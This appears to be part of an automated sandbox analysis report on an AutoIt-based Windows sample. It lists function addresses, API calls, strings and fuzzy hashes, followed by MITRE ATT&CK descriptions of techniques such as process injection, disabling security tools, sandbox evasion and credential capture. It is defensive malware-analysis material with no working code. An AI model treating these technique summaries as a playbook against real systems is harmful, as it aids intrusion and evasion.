Instruction ID: 61a2fcdc6a4520ed14394c644e2087d0735099b1f270fef4fe581bb536d9faea
Opcode Fuzzy Hash: 94e8f4bbe948f9d5d1cd75a608dc85bd830de752d7f60d94ddde26c824f0b4f4
Instruction Fuzzy Hash: 9B21477661420AAFDB04DFB8DC45AEA7BE8EB48305F004619FE55E3280E675E894DB50

Function 00C56D0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00C56D8F
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00C56D9E

Strings

edit, xrefs: 00C56D73

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 91ac7eff703da913f5c4e708d485297386c23d963feb90b26851ef0341e76bd9
Instruction ID: 75ae7854dc0148b3d0a528163f9a74c8ac8db109a5bc435491952563c68d85a9
Opcode Fuzzy Hash: 91ac7eff703da913f5c4e708d485297386c23d963feb90b26851ef0341e76bd9
Instruction Fuzzy Hash: E0115B75600108AAEB209E74DC84AEB3A7AEB15369F604B14FD74A72E0C6B19C949B64

Function 00C32FC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C33036
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00C33055

Strings

0, xrefs: 00C3302C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 23071452c5e289b71419361905d00684d68668a0bdaa0a724db649a24cb85a18
Instruction ID: ff51b7afdea5a8153a28220d35c1b10aef3a1b9e8d63b0c4bc82ed5dc8517f94
Opcode Fuzzy Hash: 23071452c5e289b71419361905d00684d68668a0bdaa0a724db649a24cb85a18
Instruction Fuzzy Hash: 7511B231A21254ABDB28DB5CDC48BADB7B8EB05714F140066F965A72E0D770AF04D791

Function 00C42686 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00C426DC
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00C42705

Strings

<local>, xrefs: 00C426CD

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 0de81ce0afa652f9b14c3ce9a82132418a61c35fe314d1450c6cf77fe19e16a5
Instruction ID: 23c4b1eadef4485287ea8d876ca1fce0c7cf945d59c98c9e17d80ec66a053004
Opcode Fuzzy Hash: 0de81ce0afa652f9b14c3ce9a82132418a61c35fe314d1450c6cf77fe19e16a5
Instruction Fuzzy Hash: 1A11A070541225BADB248F528C8AFFBFFACFB16751F51812AF91596040D2B06A94DAF0

Function 00C4823D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C484A8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00C48265,?,00000000,?,?), ref: 00C484BF

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00C48268
htons.WSOCK32(00000000,?,00000000), ref: 00C482A5

Strings

255.255.255.255, xrefs: 00C48280

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 5ac93b3113d8d10affec861e0fbcd507cbf63aa4501edfa7e632462a76426972
Instruction ID: 2e58029a0d18057343c85456bfd9af2862658469761971fa1a06bd34aadeeebd
Opcode Fuzzy Hash: 5ac93b3113d8d10affec861e0fbcd507cbf63aa4501edfa7e632462a76426972
Instruction Fuzzy Hash: 44112630200616ABDB20EFA4DC46FBEB364FF00320F208566F921A73D1DBB1A905DB91

Function 00C297A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00C2B57D: GetClassNameW.USER32(?,?,000000FF), ref: 00C2B5A0

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00C2980E

Strings

ListBox, xrefs: 00C297D8
ComboBox, xrefs: 00C297AD

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: cf330593069ae2e97fbf78b3995b485d050de55dd933b6596fcffbec5ad1930a
Instruction ID: 8088ef02c46953112998cf4c00c12f59e6d335ad13c11cedc391926253c5f07a
Opcode Fuzzy Hash: cf330593069ae2e97fbf78b3995b485d050de55dd933b6596fcffbec5ad1930a
Instruction Fuzzy Hash: 6F01F571A41224AB8B14EBA5DC11DFE73A9EF12360F640A29F871977D1DF315908D760

Function 00C391B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C391D4
__fread_nolock.LIBCMT ref: 00C391E9

Strings

EA06, xrefs: 00C3921B

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 689e62c0dae0140b667107cc4f52b70a271b5ab76d9b1610463d0eaf95f7de4f
Instruction ID: fbbb4ea8327296dec7fcee2a50fd212d7961c93be346f33b8847cf0a5a141c22
Opcode Fuzzy Hash: 689e62c0dae0140b667107cc4f52b70a271b5ab76d9b1610463d0eaf95f7de4f
Instruction Fuzzy Hash: 9B01F971D0421C6EDF28DBA8CC56EBEBBF8DB01311F00419AF652D3181E4B4A6088B60

Function 00C29698 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00C2B57D: GetClassNameW.USER32(?,?,000000FF), ref: 00C2B5A0

SendMessageW.USER32(?,00000180,00000000,?), ref: 00C29706

Strings

ListBox, xrefs: 00C296D0
ComboBox, xrefs: 00C296A5

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: cf6d2fc002544ead6eaec17fc86b36f23627a682d87641274a7d4e06bc504e78
Instruction ID: 476838439666e2cfe6aeef8cf64e991af3554d4c971b64ed19c21962b8d65514
Opcode Fuzzy Hash: cf6d2fc002544ead6eaec17fc86b36f23627a682d87641274a7d4e06bc504e78
Instruction Fuzzy Hash: 3F01F2B1A41118ABCB14EBA5D862EFF73E9DF11340F600029B822A76C1DF705E08D6B1

Function 00C2971D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

Part of subcall function 00C2B57D: GetClassNameW.USER32(?,?,000000FF), ref: 00C2B5A0

SendMessageW.USER32(?,00000182,?,00000000), ref: 00C29789

Strings

ListBox, xrefs: 00C29755
ComboBox, xrefs: 00C2972A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: ad7d92ec642a34f6d14a265c4d36a3420cd0799a15b0153e0ce95d2c02cdcac5
Instruction ID: baeac048a11e04349660135c603b1b5b3827a2f07bbe28a7af6f7efb358d390a
Opcode Fuzzy Hash: ad7d92ec642a34f6d14a265c4d36a3420cd0799a15b0153e0ce95d2c02cdcac5
Instruction Fuzzy Hash: F301A2B1A51124ABDB10EBA5D952EFFB3ECDF11740F600525B825A76C1DB314F08A671

Function 00C35350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00C3536E
_wcscmp.LIBCMT ref: 00C35380

Strings

#32770, xrefs: 00C3537A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 369ec19be479d2f0090fdbf81ef749cd1abfe7b6e94d5b5b03b371bd0ba8240e
Instruction ID: 3303e6263c0f657fa5cc6eda7e2cba86253eca731c5d5f6f6f08858cf2a7a73f
Opcode Fuzzy Hash: 369ec19be479d2f0090fdbf81ef749cd1abfe7b6e94d5b5b03b371bd0ba8240e
Instruction Fuzzy Hash: 35E09B7250422826D720A655AC09BABF7ECDB55761F010167F904D3151D5B0AA458BD5

Function 00C28675 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00C28683

Part of subcall function 00BF34BA: _doexit.LIBCMT ref: 00BF34C4

Strings

AutoIt, xrefs: 00C28677
Error allocating memory., xrefs: 00C2867C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 144bef4da3f01c453f503e916a0a051168c766264e5a98a80adf65272d6f22d1
Instruction ID: 4ec064bfb1dcf409c44feb3e4abfbacd7825f85cdfca6568538503b21ffab5cf
Opcode Fuzzy Hash: 144bef4da3f01c453f503e916a0a051168c766264e5a98a80adf65272d6f22d1
Instruction Fuzzy Hash: CBD05B3138535C36E2253695EC07FDE7AC84B05B52F1044B5FB04A65D34FE9859442E9

Function 00C0B421 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00C0B474: _memset.LIBCMT ref: 00C0B481

Part of subcall function 00BF0A9F: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00C0B450,?,?,?,00BD100A), ref: 00BF0AA4

IsDebuggerPresent.KERNEL32(?,?,?,00BD100A), ref: 00C0B454
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00BD100A), ref: 00C0B463

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00C0B45E

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: c528314de469c91a0640ef909d246c077e32357f5ae9e953d746938303b5a1fd
Instruction ID: f3dfe9195792adb73ea45dcd6d9ca8eb7246ded758512e96fadb2da99eafc86d
Opcode Fuzzy Hash: c528314de469c91a0640ef909d246c077e32357f5ae9e953d746938303b5a1fd
Instruction Fuzzy Hash: AEE06DB02107528BD330EF75D808706BAE4AF04344F00896EE499C2392E7B4DA44CB51

Function 00C10181 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00C0FFC1

Part of subcall function 00C4C4A1: LoadLibraryA.KERNEL32(kernel32.dll,?,00C101AA,?), ref: 00C4C4AF
Part of subcall function 00C4C4A1: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00C4C4C1

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00C101B9

Strings

WIN_XPe, xrefs: 00C0FFD4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: da15e867f112eb015bd8c86eb8736980e087adfe44d7d30de0b9e320a45e7f6b
Instruction ID: fa057b90942a9816bb5b00a1bd3c0537343d0aa737812c2990ebbbc31fb28d22
Opcode Fuzzy Hash: da15e867f112eb015bd8c86eb8736980e087adfe44d7d30de0b9e320a45e7f6b
Instruction Fuzzy Hash: 1AF0ED7180511ADFCB25DB91CAA8BEDBBF8AB09340F24009AE102B25E1D7B15F85DF61

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
